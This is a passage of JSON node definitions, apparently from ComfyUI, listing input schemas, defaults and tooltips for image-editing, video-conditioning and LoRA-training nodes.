["MODEL"], "noise_scale": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 64.0, "step": 0.01, "tooltip": "Absolute training noise scale. For example HiDream-O1 base: 8.0, dev: 7.5."}]}}, "input_order": {"required": ["model", "noise_scale"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelNoiseScale", "display_name": "ModelNoiseScale", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "RescaleCFG": {"input": {"required": {"model": ["MODEL"], "multiplier": ["FLOAT", {"default": 0.7, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "multiplier"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "RescaleCFG", "display_name": "RescaleCFG", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelComputeDtype": {"input": {"required": {"model": ["MODEL"], "dtype": [["default", "fp32", "fp16", "bf16"], {"advanced": true}]}}, "input_order": {"required": ["model", "dtype"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelComputeDtype", "display_name": "ModelComputeDtype", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "advanced/debug", "output_node": false, "has_intermediate_output": false, "search_aliases": ["model precision", "change dtype"]}, "PatchModelAddDownscale": {"input": {"required": {"model": ["MODEL", {}], "block_number": ["INT", {"advanced": true, "default": 3, "min": 1, "max": 32, "step": 1}], "downscale_factor": ["FLOAT", {"default": 2.0, "min": 0.1, "max": 9.0, "step": 0.001}], "start_percent": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end_percent": ["FLOAT", {"advanced": true, "default": 0.35, "min": 0.0, "max": 1.0, "step": 0.001}], "downscale_after_skip": ["BOOLEAN", {"advanced": true, "default": true}], "downscale_method": ["COMBO", {"multiselect": false, "options": ["bicubic", "nearest-exact", "bilinear", "area", "bislerp"]}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["bicubic", "nearest-exact", "bilinear", "area", "bislerp"]}]}}, "input_order": {"required": ["model", "block_number", "downscale_factor", "start_percent", "end_percent", "downscale_after_skip", "downscale_method", "upscale_method"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "PatchModelAddDownscale", "display_name": "PatchModelAddDownscale (Kohya Deep Shrink)", "description": "", "python_module": "comfy_extras.nodes_model_downscale", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageCrop": {"input": {"required": {"image": ["IMAGE", {}], "width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}]}}, "input_order": {"required": ["image", "width", "height", "x", "y"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageCrop", "display_name": "Crop Image (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["trim"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "ImageCropV2": {"input": {"required": {"image": ["IMAGE", {}], "crop_region": ["BOUNDING_BOX", {"default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "component": "ImageCrop"}]}}, "input_order": {"required": ["image", "crop_region"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageCropV2", "display_name": "Crop Image", "description": "Crop an image to the specified dimensions.", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "cut", "trim"], "essentials_category": "Image Tools", "has_intermediate_output": true}, "PrimitiveBoundingBox": {"input": {"required": {"x": ["INT", {"default": 0, "min": 0, "max": 16384}], "y": ["INT", {"default": 0, "min": 0, "max": 16384}], "width": ["INT", {"default": 512, "min": 1, "max": 16384}], "height": ["INT", {"default": 512, "min": 1, "max": 16384}]}}, "input_order": {"required": ["x", "y", "width", "height"]}, "is_input_list": false, "output": ["BOUNDING_BOX"], "output_is_list": [false], "output_name": ["BOUNDING_BOX"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveBoundingBox", "display_name": "Bounding Box", "description": "", "python_module": "comfy_extras.nodes_images", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RepeatImageBatch": {"input": {"required": {"image": ["IMAGE", {}], "amount": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["image", "amount"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RepeatImageBatch", "display_name": "Repeat Image Batch", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["duplicate image", "clone image"], "essentials_category": null, "has_intermediate_output": false}, "ImageFromBatch": {"input": {"required": {"image": ["IMAGE", {}], "batch_index": ["INT", {"default": 0, "min": -16384, "max": 16384}], "length": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["image", "batch_index", "length"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageFromBatch", "display_name": "Get Image from Batch", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["select image", "pick from batch", "extract image"], "essentials_category": null, "has_intermediate_output": false}, "ImageAddNoise": {"input": {"required": {"image": ["IMAGE", {}], "seed": ["INT", {"tooltip": "The random seed used for creating the noise.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "strength": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["image", "seed", "strength"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageAddNoise", "display_name": "Add Noise to Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["film grain"], "essentials_category": null, "has_intermediate_output": false}, "SaveAnimatedWEBP": {"input": {"required": {"images": ["IMAGE", {}], "filename_prefix": ["STRING", {"default": "ComfyUI", "multiline": false}], "fps": ["FLOAT", {"default": 6.0, "min": 0.01, "max": 1000.0, "step": 0.01}], "lossless": ["BOOLEAN", {"default": true}], "quality": ["INT", {"default": 80, "min": 0, "max": 100}], "method": ["COMBO", {"multiselect": false, "options": ["default", "fastest", "slowest"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "fps", "lossless", "quality", "method"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAnimatedWEBP", "display_name": "Save Animated WEBP", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveAnimatedPNG": {"input": {"required": {"images": ["IMAGE", {}], "filename_prefix": ["STRING", {"default": "ComfyUI", "multiline": false}], "fps": ["FLOAT", {"default": 6.0, "min": 0.01, "max": 1000.0, "step": 0.01}], "compress_level": ["INT", {"advanced": true, "default": 4, "min": 0, "max": 9}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "fps", "compress_level"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveAnimatedPNG", "display_name": "Save Animated PNG", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveImageAdvanced": {"input": {"required": {"images": ["IMAGE", {"tooltip": "The images to save."}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. May include formatting tokens such as %date:yyyy-MM-dd% or %Empty Latent Image.width%.", "default": "ComfyUI", "multiline": false}], "format": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "The file format in which to save the image.", "options": [{"key": "png", "inputs": {"required": {"bit_depth": ["COMBO", {"advanced": true, "default": "8-bit", "multiselect": false, "options": ["8-bit", "16-bit"]}], "input_color_space": ["COMBO", {"advanced": true, "default": "sRGB", "multiselect": false, "options": ["sRGB"]}]}}}, {"key": "exr", "inputs": {"required": {"bit_depth": ["COMBO", {"advanced": true, "default": "32-bit float", "multiselect": false, "options": ["32-bit float"]}], "input_color_space": ["COMBO", {"tooltip": "Colorspace of the input tensor. The EXR is always written as scene-linear in the matching gamut.\nsRGB \u2014 input is sRGB-encoded Rec.709; the inverse sRGB EOTF is applied.\nHDR \u2014 input is HLG-encoded Rec.2020 (BT.2100); the inverse HLG OETF is applied to get scene-linear light.\nlinear \u2014 input is already scene-linear (Rec.709 primaries); written through unchanged. Use this for renderer/compositor output.", "advanced": true, "default": "sRGB", "multiselect": false, "options": ["sRGB", "HDR", "linear"]}]}}}]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "format"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveImageAdvanced", "display_name": "Save Image (Advanced)", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["save", "save image", "export image", "output image", "write image"], "essentials_category": "Basics", "has_intermediate_output": false}, "SaveSVGNode": {"input": {"required": {"svg": ["SVG", {}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. This may include formatting information such as %date:yyyy-MM-dd% or %Empty Latent Image.width% to include values from nodes.", "default": "svg/ComfyUI", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["svg", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["svg"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveSVGNode", "display_name": "Save SVG", "description": "Save SVG files on disk.", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export vector", "save vector graphics"], "essentials_category": null, "has_intermediate_output": false}, "ImageStitch": {"input": {"required": {"image1": ["IMAGE", {}], "direction": ["COMBO", {"default": "right", "multiselect": false, "options": ["right", "down", "left", "up"]}], "match_image_size": ["BOOLEAN", {"default": true}], "spacing_width": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 1024, "step": 2}], "spacing_color": ["COMBO", {"advanced": true, "default": "white", "multiselect": false, "options": ["white", "black", "red", "green", "blue"]}]}, "optional": {"image2": ["IMAGE", {}]}}, "input_order": {"required": ["image1", "direction", "match_image_size", "spacing_width", "spacing_color"], "optional": ["image2"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageStitch", "display_name": "Stitch Images", "description": "Stitches image2 to image1 in the specified direction.\nIf image2 is not provided, returns image1 unchanged.\nOptional spacing can be added between images.", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine images", "join images", "concatenate images", "side by side"], "essentials_category": null, "has_intermediate_output": false}, "ResizeAndPadImage": {"input": {"required": {"image": ["IMAGE", {}], "target_width": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "target_height": ["INT", {"default": 512, "min": 1, "max": 16384, "step": 1}], "padding_color": ["COMBO", {"advanced": true, "multiselect": false, "options": ["white", "black"]}], "interpolation": ["COMBO", {"advanced": true, "multiselect": false, "options": ["area", "bicubic", "nearest-exact", "bilinear", "lanczos"]}]}}, "input_order": {"required": ["image", "target_width", "target_height", "padding_color", "interpolation"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ResizeAndPadImage", "display_name": "Resize And Pad Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["fit to size"], "essentials_category": null, "has_intermediate_output": false}, "GetImageSize": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"unique_id": ["UNIQUE_ID"]}}, "input_order": {"required": ["image"], "hidden": ["unique_id"]}, "is_input_list": false, "output": ["INT", "INT", "INT"], "output_is_list": [false, false, false], "output_name": ["width", "height", "batch_size"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "GetImageSize", "display_name": "Get Image Size", "description": "Returns width and height of the image, and passes it through unchanged.", "python_module": "comfy_extras.nodes_images", "category": "image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["dimensions", "resolution", "image info"], "essentials_category": null, "has_intermediate_output": false}, "ImageRotate": {"input": {"required": {"image": ["IMAGE", {}], "rotation": ["COMBO", {"multiselect": false, "options": ["none", "90 degrees", "180 degrees", "270 degrees"]}]}}, "input_order": {"required": ["image", "rotation"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageRotate", "display_name": "Rotate Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["turn", "flip orientation"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "ImageFlip": {"input": {"required": {"image": ["IMAGE", {}], "flip_method": ["COMBO", {"multiselect": false, "options": ["x-axis: vertically", "y-axis: horizontally"]}]}}, "input_order": {"required": ["image", "flip_method"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageFlip", "display_name": "Flip Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mirror", "reflect"], "essentials_category": null, "has_intermediate_output": false}, "ImageScaleToMaxDimension": {"input": {"required": {"image": ["IMAGE", {}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["area", "lanczos", "bilinear", "nearest-exact", "bilinear", "bicubic"]}], "largest_size": ["INT", {"default": 512, "min": 0, "max": 16384, "step": 1}]}}, "input_order": {"required": ["image", "upscale_method", "largest_size"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageScaleToMaxDimension", "display_name": "Scale Image to Max Dimension", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/upscaling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SplitImageToTileList": {"input": {"required": {"image": ["IMAGE", {}], "tile_width": ["INT", {"default": 1024, "min": 64, "max": 16384}], "tile_height": ["INT", {"default": 1024, "min": 64, "max": 16384}], "overlap": ["INT", {"default": 128, "min": 0, "max": 4096}]}}, "input_order": {"required": ["image", "tile_width", "tile_height", "overlap"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [true], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "SplitImageToTileList", "display_name": "Split Image into List of Tiles", "description": "Splits an image into a batched list of tiles with a specified overlap.", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["split image", "tile image", "slice image"], "essentials_category": null, "has_intermediate_output": false}, "ImageMergeTileList": {"input": {"required": {"image_list": ["IMAGE", {}], "final_width": ["INT", {"default": 1024, "min": 64, "max": 32768}], "final_height": ["INT", {"default": 1024, "min": 64, "max": 32768}], "overlap": ["INT", {"default": 128, "min": 0, "max": 4096}]}}, "input_order": {"required": ["image_list", "final_width", "final_height", "overlap"]}, "is_input_list": true, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageMergeTileList", "display_name": "Merge List of Tiles to Image", "description": "", "python_module": "comfy_extras.nodes_images", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["split image", "tile image", "slice image"], "essentials_category": null, "has_intermediate_output": false}, "ImageOnlyCheckpointLoader": {"input": {"required": {"ckpt_name": [[]]}}, "input_order": {"required": ["ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP_VISION", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP_VISION", "VAE"], "name": "ImageOnlyCheckpointLoader", "display_name": "Load Checkpoint Image Only (img2vid model)", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "SVD_img2vid_Conditioning": {"input": {"required": {"clip_vision": ["CLIP_VISION"], "init_image": ["IMAGE"], "vae": ["VAE"], "width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 576, "min": 16, "max": 16384, "step": 8}], "video_frames": ["INT", {"default": 14, "min": 1, "max": 4096}], "motion_bucket_id": ["INT", {"default": 127, "min": 1, "max": 1023, "advanced": true}], "fps": ["INT", {"default": 6, "min": 1, "max": 1024}], "augmentation_level": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 10.0, "step": 0.01, "advanced": true}]}}, "input_order": {"required": ["clip_vision", "init_image", "vae", "width", "height", "video_frames", "motion_bucket_id", "fps", "augmentation_level"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "name": "SVD_img2vid_Conditioning", "display_name": "SVD_img2vid_Conditioning", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/conditioning/stable video", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VideoLinearCFGGuidance": {"input": {"required": {"model": ["MODEL"], "min_cfg": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.5, "round": 0.01, "advanced": true}]}}, "input_order": {"required": ["model", "min_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "VideoLinearCFGGuidance", "display_name": "Video Linear CFG Guidance", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/sampling/guiders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "VideoTriangleCFGGuidance": {"input": {"required": {"model": ["MODEL"], "min_cfg": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.5, "round": 0.01, "advanced": true}]}}, "input_order": {"required": ["model", "min_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "VideoTriangleCFGGuidance", "display_name": "Video Triangle CFG Guidance", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/sampling/guiders", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ImageOnlyCheckpointSave": {"input": {"required": {"model": ["MODEL"], "clip_vision": ["CLIP_VISION"], "vae": ["VAE"], "filename_prefix": ["STRING", {"default": "checkpoints/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["model", "clip_vision", "vae", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "name": "ImageOnlyCheckpointSave", "display_name": "ImageOnlyCheckpointSave", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/merging", "output_node": true, "has_intermediate_output": false, "search_aliases": ["save model", "export checkpoint", "merge save"]}, "ConditioningSetAreaPercentageVideo": {"input": {"required": {"conditioning": ["CONDITIONING"], "width": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "height": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "temporal": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}], "x": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "y": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "z": ["FLOAT", {"default": 0, "min": 0, "max": 1.0, "step": 0.01}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["conditioning", "width", "height", "temporal", "x", "y", "z", "strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetAreaPercentageVideo", "display_name": "Conditioning (Set Area with Percentage for Video)", "description": "", "python_module": "comfy_extras.nodes_video_model", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "Ideogram4Scheduler": {"input": {"required": {"steps": ["INT", {"default": 20, "min": 1, "max": 200}], "width": ["INT", {"default": 1024, "min": 256, "max": 8192, "step": 16}], "height": ["INT", {"default": 1024, "min": 256, "max": 8192, "step": 16}], "mu": ["FLOAT", {"default": 0.0, "min": -10.0, "max": 10.0, "step": 0.05}], "std": ["FLOAT", {"default": 1.75, "min": 0.1, "max": 5.0, "step": 0.05}]}}, "input_order": {"required": ["steps", "width", "height", "mu", "std"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "Ideogram4Scheduler", "display_name": "Ideogram 4 Scheduler", "description": "", "python_module": "comfy_extras.nodes_ideogram4", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TrainLoraNode": {"input": {"required": {"model": ["MODEL", {"tooltip": "The model to train the LoRA on."}], "latents": ["LATENT", {"tooltip": "The Latents to use for training, serve as dataset/input of the model."}], "positive": ["CONDITIONING", {"tooltip": "The positive conditioning to use for training."}], "batch_size": ["INT", {"tooltip": "The batch size to use for training.", "default": 1, "min": 1, "max": 10000}], "grad_accumulation_steps": ["INT", {"tooltip": "The number of gradient accumulation steps to use for training.", "default": 1, "min": 1, "max": 1024}], "steps": ["INT", {"tooltip": "The number of steps to train the LoRA for.", "default": 16, "min": 1, "max": 100000}], "learning_rate": ["FLOAT", {"tooltip": "The learning rate to use for training.", "default": 0.0005, "min": 1e-07, "max": 1.0, "step": 1e-07}], "rank": ["INT", {"tooltip": "The rank of the LoRA layers.", "default": 8, "min": 1, "max": 128}], "optimizer": ["COMBO", {"tooltip": "The optimizer to use for training.", "default": "AdamW", "multiselect": false, "options": ["AdamW", "Adam", "SGD", "RMSprop"]}], "loss_function": ["COMBO", {"tooltip": "The loss function to use for training.", "default": "MSE", "multiselect": false, "options": ["MSE", "L1", "Huber", "SmoothL1"]}], "seed": ["INT", {"tooltip": "The seed to use for training (used in generator for LoRA weight initialization and noise sampling)", "default": 0, "min": 0, "max": 18446744073709551615}], "training_dtype": ["COMBO", {"tooltip": "The dtype to use for training. 'none' preserves the model's native compute dtype instead of overriding it. For fp16 models, GradScaler is automatically enabled.", "default": "bf16", "multiselect": false, "options": ["bf16", "fp32", "none"]}], "lora_dtype": ["COMBO", {"tooltip": "The dtype to use for lora.", "default": "bf16", "multiselect": false, "options": ["bf16", "fp32"]}], "quantized_backward": ["BOOLEAN", {"tooltip": "When using training_dtype 'none' and training on quantized model, doing backward with quantized matmul when enabled.", "default": false}], "algorithm": ["COMBO", {"tooltip": "The algorithm to use for training.", "default": "LoRA", "multiselect": false, "options": ["LoRA", "LoHa", "LoKr", "OFT"]}], "gradient_checkpointing": ["BOOLEAN", {"tooltip": "Use gradient checkpointing for training.", "default": true}], "checkpoint_depth": ["INT", {"tooltip": "Depth level for gradient checkpointing.", "default": 1, "min": 1, "max": 5}], "offloading": ["BOOLEAN", {"tooltip": "Offload model weights to CPU during training to save GPU memory.", "default": false}], "existing_lora": ["COMBO", {"tooltip": "The existing LoRA to append to. Set to None for new LoRA.", "default": "[None]", "multiselect": false, "options": ["[None]"]}], "bucket_mode": ["BOOLEAN", {"tooltip": "Enable resolution bucket mode. When enabled, expects pre-bucketed latents from ResolutionBucket node.", "default": false}], "bypass_mode": ["BOOLEAN", {"tooltip": "Enable bypass mode for training. When enabled, adapters are applied via forward hooks instead of weight modification. Useful for quantized models where weights cannot be directly modified.", "default": false}]}}, "input_order": {"required": ["model", "latents", "positive", "batch_size", "grad_accumulation_steps", "steps", "learning_rate", "rank", "optimizer", "loss_function", "seed", "training_dtype", "lora_dtype", "quantized_backward", "algorithm", "gradient_checkpointing", "checkpoint_depth", "offloading", "existing_lora", "bucket_mode", "bypass_mode"]}, "is_input_list": true, "output": ["LORA_MODEL", "LOSS_MAP", "INT"], "output_is_list": [false, false, false], "output_name": ["lora", "loss_map", "steps"], "output_tooltips": ["LoRA weights", "Loss history", "Total training steps"], "output_matchtypes": null, "name": "TrainLoraNode", "display_name": "Train LoRA", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/training", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoraModelLoader": {"input": {"required": {"model": ["MODEL", {"tooltip": "The diffusion model the LoRA will be applied to."}], "lora": ["LORA_MODEL", {"tooltip": "The LoRA model to apply to the diffusion model."}], "strength_model": ["FLOAT", {"tooltip": "How strongly to modify the diffusion model. This value can be negative.", "default": 1.0, "min": -100.0, "max": 100.0}], "bypass": ["BOOLEAN", {"tooltip": "When enabled, applies LoRA in bypass mode without modifying base model weights. Useful for training and when model weights are offloaded.", "default": false}]}}, "input_order": {"required": ["model", "lora", "strength_model", "bypass"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["model"], "output_tooltips": ["The modified diffusion model."], "output_matchtypes": null, "name": "LoraModelLoader", "display_name": "Load LoRA Model", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveLoRA": {"input": {"required": {"lora": ["LORA_MODEL", {"tooltip": "The LoRA model to save. Do not use the model with LoRA layers."}], "prefix": ["STRING", {"tooltip": "The prefix to use for the saved LoRA file.", "default": "loras/ComfyUI_trained_lora", "multiline": false}]}, "optional": {"steps": ["INT", {"tooltip": "Optional: The number of steps the LoRA has been trained for, used to name the saved file."}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["lora", "prefix"], "optional": ["steps"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SaveLoRA", "display_name": "Save LoRA Weights", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/merging", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export lora"], "essentials_category": null, "has_intermediate_output": false}, "LossGraphNode": {"input": {"required": {"loss": ["LOSS_MAP", {"tooltip": "Loss map from training node."}], "filename_prefix": ["STRING", {"tooltip": "Prefix for the saved loss graph image.", "default": "loss_graph", "multiline": false}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["loss", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "LossGraphNode", "display_name": "Plot Loss Graph", "description": "", "python_module": "comfy_extras.nodes_train", "category": "model/training", 